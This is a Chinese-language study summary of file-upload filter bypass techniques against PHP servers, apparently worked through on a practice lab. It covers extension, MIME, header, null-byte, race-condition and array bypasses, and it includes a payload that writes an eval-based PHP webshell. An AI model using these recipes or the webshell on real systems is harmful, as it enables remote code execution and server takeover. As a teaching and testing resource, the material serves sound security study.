文件上傳漏洞Bypass總結


文件上傳漏洞Bypass總結

前端JS驗證文件類型:

上傳后綴jpg,抓包改為php后綴

=========================================================================

黑名單:

========================================================================

content-type繞過

​ 后端僅判斷content-type類型,可以通過抓包修改content-type值進行繞過

使用別名、大小寫繞過

​ 使用php3,phtml等別名繞過。或大小寫 Php等名稱進行繞過

.htaccess

​ 先上傳.htaccess 文件,指定將文件解析為php文件運行,然后再上傳圖片馬

后綴加空繞過

原文件名:filename=“info.php”
修改后文件名:filename=“info.php ”       //加了一個空格

后綴加 . 繞過

原文件名:filename=“info.php”
修改后文件名:filename=“info.php.”           //  此方法只適用於windows系統

文件流繞過

原文件名:filename=“info.php”
修改后文件名:filename=“info.php::$DATA”    //此方法只適用於windows系統

點空格點繞過

原文件名:filename=“info.php”
原文件名:filename=“info.php. .”

雙寫繞過

原文件名:filename=“info.php”
修改后文件名:filename=“info.pphphp”      //后端只過濾一次時有效(非循環過濾)

user.ini繞過

user.ini相當於是用戶自定義的php.ini文件。針對黑名單的文件上傳,可以使用 user.ini 繞過。
user.ini:
     auto_prepend_file=taotao.gif  //將文件使用 require語句自動包含
接下來只要上傳一個自定義的木馬文件即可

================================================

白名單:

=====================================================================

文件頭判斷繞過:

后端通過識別文件頭進行判斷文件類型,一般使用GIF89a文件頭進行繞過
    原data:
             <?php phpinfo();?>
    修改后data:
      GIF89a
      <?php phpinfo();?>

00截斷繞過:

前置條件:php版本小於5.3.4,且魔術引號關閉
實例一:URL中有保文件徑

抓包發現URL有保存路徑,可以通過修改保存路徑控制文件的保存信息(需要修改type與file name)

修改保存路徑后成功保存為PHP文件
實例二:body中有文件路徑

        POST類型的00截斷不能使用直接添加%00的原因是。GET方式的%00會被服務器解碼成null,而於GET不同的是POST類型的需要先URL解碼成null再發送數據包
操作成功

關於GET與POST不同的解釋:
        當path存在於URL或COOKIE中或不存在’enctye=“multipart/form-data”'字段的表單中時,后端會對提交的數據進行一次URLdecode,變成字符串結束符號。可以直接使用%00
        當path存在於上傳的body時,頭部中有‘enctye=“multipart/form-data”'字段(不對數據表單數據進行編碼),所以需要對%00進行decode后再上傳

條件競爭(邏輯漏洞)BYPASS:

概念:
開發者進行開發時常認為代碼會以線性方式運行,當多個線程並發時,會造成不可預料的后果
原理:
文件上傳到服務器目錄,再進行驗證,若不符合條件則刪除
思路:
先上傳文件到服務器,再使用多線程並發訪問該文件。若在上傳完成到驗證開始的階段成功對文件進行訪問,則可以占用當前文件資源,並導致無法刪除。
實戰:

payload:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_post["cmd"])?>');?>
   // 腳本運行后生成新的腳本
實驗源碼大意:
     將文件上傳到服務器,服務器保存並開始驗證,若成功通過驗證則保存並重命名。若不通過則刪除

設置線程后持續發送上傳和訪問的數據包


shell寫入成功

Apache解析漏洞:

含有保存文件名與原文件名
這里利用Apache解析漏洞,修改save_name的值

​ 文件被成功上傳並地址為

http://127.0.0.1/file/upload/taotao.php/

數組繞過:

實驗源碼:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該后綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}
源碼中檢測MIME的部分很好繞過
而if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }
        這部分將保存文件名分為數組,並儲存到file[]中,而后檢測數組最后一個值是否符合規范。通過檢測后進行重新拼接
BYpass:
繞過的關鍵在於 ‘if(!is_array($file))’,使用手動構造數組的方式進行繞過.

成功上傳


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM